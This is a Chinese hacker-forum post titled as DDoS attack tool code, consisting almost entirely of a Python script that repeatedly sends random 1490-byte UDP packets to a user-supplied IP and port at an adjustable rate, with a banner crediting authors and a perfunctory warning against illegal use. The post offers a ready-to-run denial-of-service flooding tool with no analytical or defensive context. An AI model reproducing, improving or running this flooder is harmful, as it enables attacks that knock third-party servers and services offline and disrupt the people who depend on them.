pythonddos攻击工具代码

109 0
Confused.Feint 2022-8-4 18:58:31 | 显示全部楼层 |阅读模式
# python3

import sys
import os
import time
import socket
import random
#Code Time
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year

##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############

os.system("clear")
os.system("figlet DDos Attack")
print(" ")
print("/---------------------------------------------------\ ")
print("|   作者          : Andysun06                       |")
print("|   作者github    : https://github.com/Andysun06    |")
print("|   kali-QQ学习群 : 909533854                       |")
print("|   版本          : V1.0.0                          |")
print("\---------------------------------------------------/")
print(" ")
print(" -----------------[请勿用于违法用途]----------------- ")
print(" ")
print("/---------------------------------------------------\ ")
print("|   作者          : Confused.Feint                       |")
print("|   作者github    : 暂无                                    |")
print("|   kali-QQ学习群 : 909533854                       |")
print("|   版本          : V1.0.0                          |")
print("\---------------------------------------------------/")
print(" ")
print(" -----------------[请勿用于违法用途]----------------- ")
ip = input("input IP:")
port = int(input("attack port: "))
sd = int(input("attack speed(1~1000) : "))

os.system("clear")

sent = 0
while True:
     sock.sendto(bytes, (ip,port))
     sent = sent + 1
     print ("Sent %s packet to %s throught port:%d"%(sent,ip,port))
     time.sleep((1000-sd)/2000)

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Confused.Feint

初入联盟

关注
  • 5
    主题
  • 0
    粉丝
  • 0
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行